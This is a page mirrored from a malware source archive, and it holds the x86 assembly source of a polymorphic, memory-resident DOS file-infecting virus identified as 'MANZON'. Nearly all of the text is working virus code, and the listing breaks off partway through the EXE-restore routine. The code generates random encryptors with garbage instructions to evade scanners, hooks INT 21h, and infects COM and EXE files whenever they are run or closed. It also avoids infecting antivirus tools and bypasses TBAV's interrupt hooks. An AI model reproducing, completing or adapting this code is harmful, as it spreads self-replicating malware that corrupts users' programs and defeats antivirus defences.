mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
884 lines
32 KiB
NASM
884 lines
32 KiB
NASM
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.model tiny
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.code
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.386
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code_size equ code_end-code_start
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filecodelength equ filecodeend-code_start
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org 100h
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code_start:
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start:
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call StartDecryptSimple
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SimpleCryptStart:
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call InstallVirus ; Call Install routine
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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;+ Following code randomly creates an encryptor and a matching :+
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;+ decryptor. :+
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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WriteVirus:
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push bx ; Save filehandle
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in ax,40h ; Get random
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;+:+:+:+:+:+:+Create random values to use in instructions+:+:+:+:+:+:+:
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mov si,offset Rand1a ; First random in decryptor OP-codes
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mov di,offset Rand1b ; First random in encryptor OP-codes
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mov cx,5 ; 7*2 OP-codes to change
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SetRandom:
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mov [si],al
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mov [di],al
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add si,4 ; Next OP-code
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add di,4 ; -----"-----
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xor ax, 'P'-'O'-'O'-'R' ; Generate...
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rol ax,5 ; ..new...
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xor ax,'R'-'E'-'B'-'O'-'U'-'N'-'D' ; random
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loop SetRandom
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;+:+:+:+:+:+: Copy instructions from ENCode and DECode :+:+:+:+:+:+:+:
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CreateCode:
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push cs
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pop es
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mov cx,13 ;Counter, max 13 sequences
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mov di,offset CCode1
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mov si,offset DECode
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mov word ptr ds:[CLength],0h ;Length of decryptor
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CreateLoop:
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mov si,offset DECode
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in ax,40h ; Get random
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ror ax,cl
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xor ax,'I'-'M'-'M'-'O'-'R'-'T'-'A'-'L'
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sub ax, 'R'-'I'-'O'-'T'
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push ax ;Save for later use
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mov bl,al
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and bl,15 ;Mask only 0-15
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shl bl,2 ;mul 4 to get right offset
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xor bh,bh
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add si,bx ;Get right OP-code
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movsd ;move one inst (4 bytes)
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std ;count backwards
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push cx
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push di ;Move code in CCode one inst
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push si ;forward, so next inst could
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mov si,offset CCode2+13*4 ;be first.
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mov di,offset CCode2+14*4
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mov cx,14
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rep movsd
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pop si
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mov di,offset CCode2
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cld
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cmp bl,29 ;Should we use alt. encrypt?
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jnb short Garbage ;No, just garbage-instructions
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add si,ENCode-DECode-4 ;Get right pos in ENCode
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movsd ;move one inst (4 bytes)
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sub si,ENCode-DECode ;Back to old pos in DECode
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jmp short NoGarbage
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Garbage:
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sub si,4 ;Same instructions again
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movsd
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NoGarbage:
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pop di
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pop cx
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add word ptr ds:[CLength],4 ;Add length of decryptor
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pop ax ;Get random value again
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and ax,128+64 ;Leave de/encryptor like this?
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jz short QuitLoop
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loop CreateLoop
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QuitLoop:
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;+:+:+: Build the first instruction in decryptor (mov cx,??) :+:+:+:+:
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xor ax,ax
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in al,40h ; Another random
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xor al,'A'
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and al,7 ;Random between 0 and 7
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mov byte ptr ds:[InitCX1],0b9h ;OP-Code for mov cx,?
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mov bx,filecodelength
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add bx,ax
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mov word ptr ds:[InitCX1+1],bx ;Value to put in CX (counter)
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;+:+:+: Build to second instruction (mov si, offset codestart) :+:+:+:+:
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mov byte ptr ds:[InitSI1],0beh ;OP-Code for mov si,?
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mov ax,[entry_p] ;EntryPoint
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add ax,word ptr ds:[CLength] ;Length of cryptlines
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add ax,15 ;size of rest of loop
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add ax,[IPOffs] ;Then add 100h
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NoCom: mov word ptr ds:[InitSI1+1],ax ;Value to put in CX (counter)
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;+:+:+: Build the instruction that increase SI :+:+:+:+:
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and bl,2 ; Get random for inc si
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shl bl,2 ; mul 4
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mov bh,0
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mov si,offset DEcSI
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add si,bx ; Get pos in ADD-SI-alts.
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movsd
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;+:+:+: Build the loop-instruction :+:+:+:+:
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mov ah,0ffh
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sub ah,[CLength] ; Calculate loop operand
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sub ah,5
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mov al,0e2h ; OP-code for loop
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mov [di],ax ; Write loop command
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;+:+:+: Write RET at end of encryptionroutine :+:+:+:+:
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mov di,offset CCode2 ; Encryptionroutine
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add di,word ptr ds:[Clength] ; Find end of ER
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mov byte ptr ds:[di],0c3h ; Write a RET
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;+:+:+: Write created loader to file :+:+:+:+:
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pop bx ; Get filehandle
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mov ah,40h ; Function WRITE
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mov cx,word ptr ds:[CLength]
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add cx,12
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mov dx,offset InitCX1
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int 21h ; Write decryptor to file
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mov word ptr ds:[File_H],bx
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;+:+:+:+: Cahnge decryptor so code could use it (put ret instead of inc)
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mov di,offset CCode1 ; Encryptionroutine
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add di,word ptr ds:[Clength] ; Find end of ER
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mov byte ptr ds:[di],0c3h ; Write a RET
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;+:+:+:+: Copy enc&dec-call-routine to end of virus :+:+:+:+:
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mov si,offset ED_start ; Start of ED-routine
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mov di,offset ED_buf ; buffer beyond virus
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mov cx,ED_End-ED_start ; Size of ED-routine
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rep movsb
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call filecodeend ; Call copy
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ret
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;------ Routine to Encrypt virus, write virus, and decrypt virus
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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;+ Following code will be copied to memory beyond the virus, :+
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;+ and then called. The routine then calls the created :+
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;+ encryptor, writing the encrypted virus the the file and :+
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;+ then uses the modified decrytor to decrypt the virus again. :+
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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ED_start:
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;+:+:+: Create RandomValue for simple enc/decryptor +:+:+:+
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in al,40h
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mov byte ptr cs:[DSRan],al
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;+:+:+: Encrypt virus, using simple encryptor :+:+:+:+
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mov ax,offset EncryptDecryptSimple
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call ax
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;+:+:+: Encrypt virus, using created encryptor :+:+:+:+
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mov si,0100h ; Start of viruscode
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mov cx,filecodelength
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encloop:
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mov ax,offset CCode2 ; offset to created enc-routine
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call ax ; call it
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inc si
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loop encloop ; Encrypt whole virus
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;+:+:+: Write encrypted virus to file :+:+:+:+
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mov bx,word ptr ds:[File_H] ; Get filehandle
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mov ah,40h ; Function WRITE
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mov cx,filecodelength
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mov dx,0100h
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pushf
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push cs ; Fake interrupt call
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call DoOldInt
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;+:+:+: Decrypt virus, using created encryptor :+:+:+:+
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mov si,0100h ; Start of viruscode
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mov cx,filecodelength
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decloop:
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mov ax,offset CCode1
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call ax ; Call builded encryptroutine
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inc si
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loop decloop
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;+:+:+: Decrypt virus, using simple decryptor :+:+:+:+
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mov ax,offset EncryptDecryptSimple
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call ax
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;+:+:+: Write random number of extra bytes to file (0-15) :+:+:+:+
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mov bx,word ptr ds:[File_H] ; Get filehandle
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in ax,40h ; Get random in al
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mov ds,ax ; Read from random segment
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and ax,0fh ; mask bit 0-3
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mov cx,ax ; No. bytes to write
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mov ah,40h
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add word ptr cs:[CLength],cx ; add length (must know this
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xor dx,dx ; when creating EXE-header).
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pushf
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push cs ; Fake interrupt call
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call DoOldInt
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push cs ; Push back codeseg in DS
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pop ds
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ret
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DoOldInt:
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sti
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db 0eah
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OldInt dd 0
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ED_End:
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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;+ Following table contains 16 different 4-byte codesqeunces, :+
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;+ randomly used by the decryptionroutine. The first 8 affects :+
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;+ the decryption algoritm, and has a matching 4-byte inst- :+
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;+ ruction in the ENCode-table. The rest is just garbage- :+
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;+ instructions, used to make scanning harder. The morpher :+
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;+ will pick a random number (1-16) of these instructions, :+
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;+ and build the decryption routine. :+
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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DECode db 02eh,080h,004h ; add byte ptr cs:[si],?
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Rand1a db ?
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db 02eh,080h,02ch ; sub byte ptr cs:[si],?
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Rand2a db ?
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db 02eh,080h,034h ; xor byte ptr cs:[si],?
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Rand3a db ?
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db 02eh,0C0h,004h ; rol byte ptr cs:[si],?
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Rand4a db ?
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db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],?
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Rand5a db ?
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db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop
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db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop
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db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop
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;-------The rest is just bullshit, used to confuse scanners
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db 053h,08bh,0dch,05bh ; push bx; mov bx,sp; pop bx
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db 093h,043h,090h,043h ; xchg bx,ax; inc bx; nop; inc bx
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db 040h,08ah,0c4h,048h ; inc ax; mov al,ah; dec ax
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db 08ch,0c8h,056h,05fh ; mov ax,cs; push si; pop di;
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db 074h,000h,075h,000h ; je $+2; jne $+2;
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db 08Bh,0c3h,02bh,0d8h ; mov ax,bx; sub ax,bx
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db 003h,0feh,02ch,002h ; add di,si; sub al,2
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db 0ebh,001h,0b4h,090h ; jmp $+3; mov ah,90h (b4h + nop)
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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;+ Following table contains the encryptionversions of the :+
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;+ first 8 instructions in the DECode-table. :+
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;+ SUB will be ADD, ROR will be ROL etc. :+
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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ENCode db 02eh,080h,02ch ; sub byte ptr cs:[si],?
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Rand1b db ?
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db 02eh,080h,004h ; add byte ptr cs:[si],?
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Rand2b db ?
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db 02eh,080h,034h ; xor byte ptr cs:[si],?
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Rand3b db ?
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db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],?
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Rand4b db ?
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db 02eh,0C0h,004h ; rol byte ptr cs:[si],?
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Rand5b db ?
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db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop
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db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop
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db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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;+ Following table contains four different ways to increase :+
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;+ SI. Used only in the DECode-routine (CCode1). :+
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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DEcSI db 083h,0c6h,001h,090h ; add si,1; nop
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db 046h,033h,0dbh,0f8h ; inc si; xor bx,bx; clc
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db 04eh,046h,046h,0f9h ; dec si; inc si; sinc si; stc
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db 083h,0c6h,002h,04eh ; add si,2; dec si
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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;+ Other data :+
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;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
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CLength db ? ; Length of decryptor
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db ?
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ComExe db 0 ; 0=Com, 1=Exe
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buffer db 0c3h ; Buffer contains original 3 bytes of
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orgep dw 0 ; COM-file. 03ch (RET) will exit program
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; in normal DOS. Used only first time.
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buffer2 db 0e9h ; JMP OP-code, used to build COM-jump
|
||
|
|
entry_p dw 0 ; Entrypoint, part of JMP-instruction
|
||
|
|
|
||
|
|
Real_CS dw 0
|
||
|
|
Real_IP dw 0
|
||
|
|
Real_SS dw 0
|
||
|
|
Real_SP dw 0
|
||
|
|
|
||
|
|
IPOffs dw 100h ; Start offset (100h for comfiles)
|
||
|
|
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
;+ INT 21h Entrypoint. Check if virus is calling, and if file :+
|
||
|
|
;+ should be infected. :+
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
|
||
|
|
NewVect:
|
||
|
|
cmp ax,0DCBAh ; Is virus calling?
|
||
|
|
jne Notvirus
|
||
|
|
mov dx,ax
|
||
|
|
iret
|
||
|
|
Notvirus:
|
||
|
|
cli ; Clear Interrupts
|
||
|
|
cld ; Clear Direction
|
||
|
|
cmp ah,3eh ; Is file going to be closed?
|
||
|
|
je Short FileClose
|
||
|
|
|
||
|
|
cmp ax,4b00h ; Is file going to be executed?
|
||
|
|
je Short FileExecute
|
||
|
|
jmp DoOldInt
|
||
|
|
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
;+ Following code is called when a file is going to be executed. :+
|
||
|
|
;+ The file will be opened, and then closed. When the file is :+
|
||
|
|
;+ closed, the virus will call itself by INT21/3Eh, and the file :+
|
||
|
|
;+ will be infected. Pretty smart, eh? :) :+
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
|
||
|
|
FileExecute:
|
||
|
|
pusha
|
||
|
|
|
||
|
|
mov ax,3d00h ; Open file for ReadOnly
|
||
|
|
int 21h
|
||
|
|
mov bx,ax ; Filehandle in bx
|
||
|
|
mov ah,3eh
|
||
|
|
int 21h ; Close file (infect file :))
|
||
|
|
|
||
|
|
popa
|
||
|
|
jmp DoOldInt
|
||
|
|
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
;+ Following code is called when a file is going to be closed. :+
|
||
|
|
;+ The code uses INT2F/1220h to get the adress of JFT-entry, :+
|
||
|
|
;+ and then INT2F/1216h to get adress of SFT. :+
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
|
||
|
|
FileClose:
|
||
|
|
cmp bx,5 ; Is it a standard device?
|
||
|
|
jb DoOldInt
|
||
|
|
|
||
|
|
push ds
|
||
|
|
push es
|
||
|
|
pusha
|
||
|
|
|
||
|
|
push bx
|
||
|
|
mov ax,1220h ; Table in es:di
|
||
|
|
int 2fh
|
||
|
|
mov ax,1216h
|
||
|
|
mov bl,byte ptr es:[di]
|
||
|
|
int 2fh
|
||
|
|
pop bx
|
||
|
|
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
;+ This is a very poor way to check the 2 first characters in a :+
|
||
|
|
;+ filename, but the asciicode will look nice =) :+
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
|
||
|
|
mov ax,word ptr es:[di+20h]
|
||
|
|
xchg al,ah
|
||
|
|
add ax,0302h
|
||
|
|
|
||
|
|
cmp ax,'F-' + 0302h ; Don't infect F-PROT
|
||
|
|
je short Skip_Infect
|
||
|
|
cmp ax,'SC' + 0302h ; Don't infect SCAN
|
||
|
|
je short Skip_Infect
|
||
|
|
cmp ax,'TB' + 0302h ; Don't infect TB*.* (TBAV)
|
||
|
|
je short Skip_Infect
|
||
|
|
cmp ax,'TO' + 0302h ; Don't infect TOOLKIT
|
||
|
|
je short Skip_Infect
|
||
|
|
cmp ax,'FV' + 0302h ; Don't infect FV386
|
||
|
|
je short Skip_Infect
|
||
|
|
cmp ax,'FI' + 0302h ; Don't infect FINDVIRU
|
||
|
|
je short Skip_Infect
|
||
|
|
cmp ax,'VI' + 0302h ; Don't infect VI*.*
|
||
|
|
je short Skip_Infect
|
||
|
|
cmp ax,'K-' + 0302h ; Don't infect R.L's stuff :)
|
||
|
|
je short Skip_Infect
|
||
|
|
|
||
|
|
Check_Com:
|
||
|
|
cmp word ptr es:[di+28h],'OC'
|
||
|
|
jne short Check_Exe
|
||
|
|
cmp byte ptr es:[di+2ah],'M'
|
||
|
|
jne short Check_Exe
|
||
|
|
or byte ptr es:[di+2],2 ; Set R&W Access
|
||
|
|
call Infect_Com
|
||
|
|
|
||
|
|
Check_Exe:
|
||
|
|
cmp word ptr es:[di+28h],'XE'
|
||
|
|
jne short Skip_Infect
|
||
|
|
cmp byte ptr es:[di+2ah],'E'
|
||
|
|
jne short Skip_Infect
|
||
|
|
or byte ptr es:[di+2],2 ; Set R&W Access
|
||
|
|
call Infect_Exe
|
||
|
|
|
||
|
|
Skip_Infect:
|
||
|
|
popa
|
||
|
|
pop es
|
||
|
|
pop ds
|
||
|
|
jmp DoOldInt
|
||
|
|
|
||
|
|
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
;+ Infect COM-file :+
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
|
||
|
|
Infect_Com:
|
||
|
|
push cs
|
||
|
|
pop ds
|
||
|
|
|
||
|
|
mov ax,4202h ; Go to EOF
|
||
|
|
xor cx,cx
|
||
|
|
cwd
|
||
|
|
int 21h ; Get filelength in AX
|
||
|
|
push ax
|
||
|
|
|
||
|
|
mov ax,4200h ; Go to SOF
|
||
|
|
xor cx,cx
|
||
|
|
cwd
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,3fh ; Read the 3 first bytes
|
||
|
|
mov cx,3
|
||
|
|
mov dx,offset buffer
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
pop ax ; Get Filelength
|
||
|
|
sub ax,[orgep] ; Virus entrypoint, if file
|
||
|
|
cmp ax,filecodelength+100h ; is infected
|
||
|
|
jnb short LooksOk
|
||
|
|
cmp ax,filecodelength-10h
|
||
|
|
jb short LooksOk
|
||
|
|
jmp short DontInfect
|
||
|
|
|
||
|
|
LooksOk:
|
||
|
|
mov ax,4202h ; Go to EOF
|
||
|
|
xor cx,cx
|
||
|
|
cwd
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
cmp ax,62000 ; Is file small enough?
|
||
|
|
jnb short DontInfect
|
||
|
|
|
||
|
|
sub ax,3 ; Make the first 3 bytes
|
||
|
|
mov word ptr ds:[buffer2+1],ax ; (jmp to eof (viruscode))
|
||
|
|
|
||
|
|
mov [IPOffs],100h ; Tell that offset is 100h
|
||
|
|
|
||
|
|
push bx
|
||
|
|
call WriteVirus
|
||
|
|
pop bx
|
||
|
|
|
||
|
|
mov ax,4200h ; Move to SOF
|
||
|
|
xor cx,cx
|
||
|
|
cwd
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,40h ; Write first 3 bytes
|
||
|
|
mov cx,3
|
||
|
|
mov dx,offset buffer2
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
DontInfect:
|
||
|
|
ret
|
||
|
|
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
;+ Infect EXE-file :+
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
|
||
|
|
Infect_Exe:
|
||
|
|
push cs
|
||
|
|
pop ds
|
||
|
|
|
||
|
|
mov [File_H],bx
|
||
|
|
|
||
|
|
mov ax,4200h ; Go to SOF
|
||
|
|
xor cx,cx
|
||
|
|
cwd
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,3fh
|
||
|
|
mov cx,19h ; Size of EXE-header
|
||
|
|
mov dx,offset EXE_Header
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
cmp word ptr ds:[EXE_Sig],'MZ' ; Be sure it's a real EXE.
|
||
|
|
je short ItIsAnExe
|
||
|
|
cmp word ptr ds:[EXE_Sig],'ZM'
|
||
|
|
je short ItIsAnExe
|
||
|
|
jmp short DontInfect
|
||
|
|
ItIsAnExe:
|
||
|
|
cmp byte ptr ds:[EXE_Win],40h ; Is it a NE-EXE?
|
||
|
|
je short DontInfect ; Don't infect.
|
||
|
|
|
||
|
|
xor eax,eax
|
||
|
|
xor ebx,ebx
|
||
|
|
xor ecx,ecx
|
||
|
|
|
||
|
|
les ax,dword ptr ds:[EXE_IP] ; get CS:IP in ES:AX
|
||
|
|
mov ds:Real_CS,es
|
||
|
|
mov ds:Real_IP,ax
|
||
|
|
push ax ; Save IP
|
||
|
|
push es ; Save CS
|
||
|
|
|
||
|
|
les ax,dword ptr ds:[EXE_SS] ; get SS:SP in AX:ES
|
||
|
|
mov ds:Real_SS,ax
|
||
|
|
mov ds:Real_SP,es
|
||
|
|
push es
|
||
|
|
pop bx ; SP in BX
|
||
|
|
|
||
|
|
shl eax,4 ; Build real SS:SP in EBX
|
||
|
|
add eax,ebx
|
||
|
|
|
||
|
|
pop cx ; Get CS in CX
|
||
|
|
pop bx ; Get IP in BX
|
||
|
|
shl ecx,4 ; Build real CS:IP in ECX
|
||
|
|
add ecx,ebx
|
||
|
|
|
||
|
|
sub eax,ecx ; EAX = SS:SP-CS:IP
|
||
|
|
|
||
|
|
cmp eax,(filecodelength+400)
|
||
|
|
jnb short NotInfected
|
||
|
|
cmp eax,filecodelength
|
||
|
|
jb short NotInfected
|
||
|
|
jmp SkipInfect
|
||
|
|
|
||
|
|
NotInfected:
|
||
|
|
xor eax,eax
|
||
|
|
mov bx,[File_H]
|
||
|
|
|
||
|
|
mov ax,4202h ; Go to EOF
|
||
|
|
xor cx,cx
|
||
|
|
cwd
|
||
|
|
int 21h ; Get filelength in dx:ax
|
||
|
|
|
||
|
|
xor ecx,ecx
|
||
|
|
xor ebx,ebx
|
||
|
|
mov cx, word ptr ds:[EXE_Siz] ; Get Siz/512 from header
|
||
|
|
mov bx, word ptr ds:[EXE_Mod] ; Get Siz mod 512 from header
|
||
|
|
shl ecx,9 ; Mul 512
|
||
|
|
add ecx,ebx ; Build Real memsize
|
||
|
|
|
||
|
|
mov bx,dx
|
||
|
|
shl ebx,16
|
||
|
|
add ebx,eax ; Build filesize in EBX
|
||
|
|
|
||
|
|
cmp ecx,ebx ; Is whole file loaded?
|
||
|
|
jb SkipInfect ; Nope, skip infect
|
||
|
|
|
||
|
|
xor ecx,ecx
|
||
|
|
push ax
|
||
|
|
pop cx ; Low word in cx
|
||
|
|
|
||
|
|
mov ax,dx
|
||
|
|
shl eax,16
|
||
|
|
add eax,ecx ; Build filesize in eax
|
||
|
|
mov edx,eax ; Save filesize
|
||
|
|
|
||
|
|
xor ebx,ebx
|
||
|
|
mov bx, word ptr ds:[EXE_SHe]
|
||
|
|
shl ebx,4 ; Build real Headersize
|
||
|
|
sub eax,ebx ; Filesize-Headersize=CS:IP!!
|
||
|
|
push eax ; Save new CS:IP for later use
|
||
|
|
|
||
|
|
call FixSegOffs ; Fix CS:IP so IP<10h
|
||
|
|
|
||
|
|
mov dword ptr ds:[EXE_IP],eax
|
||
|
|
|
||
|
|
mov [entry_p],ax ; Set virus entrypoint
|
||
|
|
mov [IPOffs],-3 ; No offset in EXE-files
|
||
|
|
|
||
|
|
mov bx,[File_H]
|
||
|
|
call WriteVirus ; Write virus to EOF
|
||
|
|
|
||
|
|
xor eax,eax
|
||
|
|
xor ebx,ebx
|
||
|
|
mov ax,word ptr ds:[EXE_Mod] ; Bytes on last page
|
||
|
|
mov bx,word ptr ds:[EXE_Siz] ; Size/512
|
||
|
|
shl ebx,9 ; Mul 512
|
||
|
|
add eax,ebx ; Make progsize
|
||
|
|
add eax,filecodelength ; Add code_size
|
||
|
|
xor ebx,ebx
|
||
|
|
mov bx,word ptr ds:[CLength]
|
||
|
|
add eax,ebx ; Add decryptsize
|
||
|
|
add eax,12 ; add InitCX,Loop etc
|
||
|
|
mov ebx,eax
|
||
|
|
shr ebx,9 ; Make new progsize/512
|
||
|
|
and ax,01ffh ; Make modulo
|
||
|
|
|
||
|
|
mov word ptr ds:[EXE_Siz],bx
|
||
|
|
mov word ptr ds:[EXE_Mod],ax
|
||
|
|
|
||
|
|
add word ptr ds:[EXE_Min],(code_size+100)/16
|
||
|
|
mov word ptr ds:[EXE_Max],-1
|
||
|
|
|
||
|
|
pop eax ; Get CS:IP
|
||
|
|
xor ebx,ebx
|
||
|
|
mov bx,word ptr ds:[CLength] ; Length of decryptor
|
||
|
|
add eax,ebx
|
||
|
|
add eax,12 ; Add INIT_CX, INIT_SI etc
|
||
|
|
add eax,VirStk-Code_Start ; Add pos of Stack
|
||
|
|
|
||
|
|
inc eax ; Add one byte and...
|
||
|
|
and al,0feh ; ...make sure it's even
|
||
|
|
|
||
|
|
call FixSegOffs ; Fix so SP<10h
|
||
|
|
|
||
|
|
mov word ptr ds:[EXE_SP],ax ; Save new SS:SP
|
||
|
|
shr eax,16
|
||
|
|
mov word ptr ds:[EXE_SS],ax ; Save new SS:SP
|
||
|
|
|
||
|
|
mov bx,[File_H]
|
||
|
|
|
||
|
|
mov ax,4200h ; Go to SOF
|
||
|
|
xor cx,cx
|
||
|
|
cwd
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,40h
|
||
|
|
mov cx,18h ; Size of EXE-header
|
||
|
|
mov dx,offset EXE_Header
|
||
|
|
int 21h ; Write new header
|
||
|
|
|
||
|
|
SkipInfect:
|
||
|
|
ret
|
||
|
|
|
||
|
|
FixSegOffs:
|
||
|
|
mov ebx,eax
|
||
|
|
xor ax,ax
|
||
|
|
shl eax,12
|
||
|
|
mov ax,bx
|
||
|
|
FixSegOffsLoop:
|
||
|
|
mov bx,ax
|
||
|
|
cmp bx,10h
|
||
|
|
jb short DoneFix
|
||
|
|
add eax,00010000h - 00000010h ; 1 para up..
|
||
|
|
jmp short FixSegOffsLoop
|
||
|
|
DoneFix:
|
||
|
|
ret
|
||
|
|
|
||
|
|
id db 'MANZON (c) '
|
||
|
|
|
||
|
|
db 'R' + 1
|
||
|
|
db 'e' + 2
|
||
|
|
db 'd' + 3
|
||
|
|
db '-' + 4
|
||
|
|
db 'A' + 5
|
||
|
|
db '/' + 6
|
||
|
|
db 'I' + 7
|
||
|
|
db 'R' + 8
|
||
|
|
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:
|
||
|
|
;+ Following code will check if virus is resident, +:
|
||
|
|
;+ allocate memory, copy virus to memory, set the new +:
|
||
|
|
;+ interrupt vector and transfer control to the program +:
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:
|
||
|
|
|
||
|
|
InstallVirus:
|
||
|
|
pop si ; Get Start of virus+3
|
||
|
|
push si ; Save it again for later use.
|
||
|
|
push ds ; push PSP for later use
|
||
|
|
push cs
|
||
|
|
pop ds
|
||
|
|
|
||
|
|
;+:+:+:+:+:+:+:+:+:+: Ceck if virus is active :+:+:+:+:+:+:+:+:+:+:+:
|
||
|
|
|
||
|
|
mov ax,0DCBAh
|
||
|
|
int 21h
|
||
|
|
cmp dx,ax
|
||
|
|
je short Installed ; Virus found in memory
|
||
|
|
|
||
|
|
;+:+:+:+:+:+:+:+:+:+: Allocate memory for virus :+:+:+:+:+:+:+:+:+:+:+:
|
||
|
|
|
||
|
|
mov ah,4ah ; Get top of memory
|
||
|
|
push ax
|
||
|
|
mov bx,-1
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
sub bx,(code_size)/16+2 ; Resize memory allocation
|
||
|
|
pop ax
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,48h ; Allocate memory for Virus
|
||
|
|
mov bx,(code_size)/16+1
|
||
|
|
int 21h
|
||
|
|
jc short Installed ; If error then exit
|
||
|
|
|
||
|
|
dec ax ; dec AX to get pointer to MCB
|
||
|
|
mov es,ax
|
||
|
|
mov word ptr es:[1],8 ; Set DOS as owner of memory
|
||
|
|
sub ax,0fh ; 100 bytes from allocstart
|
||
|
|
mov es,ax ; to get same offset in TSR-code
|
||
|
|
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+: Copy virus to memory :+:+:+:+:+:+:+:+:+:+:+:
|
||
|
|
|
||
|
|
sub si,6
|
||
|
|
mov di,0100h
|
||
|
|
mov cx,code_size
|
||
|
|
rep movsb ; move 'em up
|
||
|
|
|
||
|
|
;****** Get adress of old INT21h and save it in the Do21-jump.
|
||
|
|
|
||
|
|
push es
|
||
|
|
pop ds
|
||
|
|
mov ax,3521h
|
||
|
|
int 21h
|
||
|
|
tbavfuck:
|
||
|
|
cmp word ptr es:[bx],05ebh
|
||
|
|
jne notbav
|
||
|
|
cmp byte ptr es:[bx+2],0eah
|
||
|
|
jne notbav
|
||
|
|
les bx,es:[bx+3]
|
||
|
|
jmp tbavfuck
|
||
|
|
notbav:
|
||
|
|
mov word ptr ds:[OldInt+2],es ; Save address to real INT
|
||
|
|
mov word ptr ds:[OldInt],bx ; in the JMP-string
|
||
|
|
|
||
|
|
;****** Set new INT21h
|
||
|
|
|
||
|
|
mov dx,offset NewVect ; Set New interruptvector
|
||
|
|
mov ax,2521h
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
installed:
|
||
|
|
pop ax ; Get PSP
|
||
|
|
pop si
|
||
|
|
sub si,106h
|
||
|
|
cmp word ptr cs:[si+IPoffs],100h ; Are we in a COM-file
|
||
|
|
je short RestoreComFile
|
||
|
|
|
||
|
|
RestoreExeFile:
|
||
|
|
mov ds,ax ; Let ds contain PSP
|
